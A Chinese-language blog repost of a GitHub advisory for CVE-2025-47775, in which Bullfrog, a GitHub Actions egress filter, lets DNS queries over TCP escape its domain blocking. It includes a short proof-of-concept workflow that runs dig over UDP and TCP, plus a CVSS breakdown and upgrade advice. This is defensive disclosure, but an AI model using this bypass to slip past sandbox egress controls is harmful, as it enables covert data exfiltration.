Bullfrog DNS over TCP绕过域名过滤漏洞技术分析

本文分析了GitHub Actions安全工具Bullfrog的一个漏洞(CVE-2025-47775)。该漏洞允许攻击者通过TCP协议执行DNS请求,绕过配置的域名过滤策略,从而导致潜在的敏感信息泄露和沙箱绕过风险。文章包含了漏洞的技术细节和概念验证。

Bullfrog’s DNS over TCP bypasses domain filtering · CVE-2025-47775 · GitHub Advisory Database · GitHub

漏洞详情

CVE ID: CVE-2025-47775

严重等级: 中等(CVSS评分 6.2)

影响组件: bullfrogsec/bullfrog (GitHub Actions)

受影响版本: < 0.8.4 已修复版本: 0.8.4

描述

摘要 使用TCP协议进行DNS查询会破坏Bullfrog的域名阻止功能,并允许DNS数据外泄。

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: 使用谷歌DNS
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: 设置Bullfrog以阻止所有流量
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: 测试连通性
        run: |
          echo 测试允许的UDP连接..
          dig api.github.com @1.1.1.1 || :
          echo 测试允许的TCP连接..
          dig api.github.com @1.1.1.1 +tcp || :

          echo 测试不允许的UDP连接
          dig api.google.com @1.1.1.1 || :
          echo 测试不允许的TCP连接
          dig api.google.com @1.1.1.1 +tcp || :

影响 沙箱绕过。攻击者可能利用此漏洞,通过TCP协议向未授权的域名发送DNS查询,从而规避网络安全策略,导致潜在的数据泄露。

技术细节

该漏洞的根本原因在于Bullfrog在实施域名过滤策略时,未能正确处理通过TCP协议传输的DNS请求。虽然工具正确地拦截了基于UDP协议的DNS查询,但TCP通道上的同类查询却被允许通过。

CVSS v3.1 向量: AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • 攻击向量:本地
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 范围:未改变
  • 机密性影响:高
  • 完整性影响:无
  • 可用性影响:无

弱点枚举 (CWE): CWE-201 - 在发送的数据中插入敏感信息

参考链接

时间线

  • 报告日期: 2025年5月14日 (由 vin01 报告)
  • 发布到国家漏洞数据库: 2025年5月14日
  • 发布到GitHub咨询数据库: 2025年5月15日
  • 最后更新: 2025年5月15日

修复建议

建议所有使用Bullfrog的用户立即升级到版本0.8.4或更高版本,以修复此安全漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计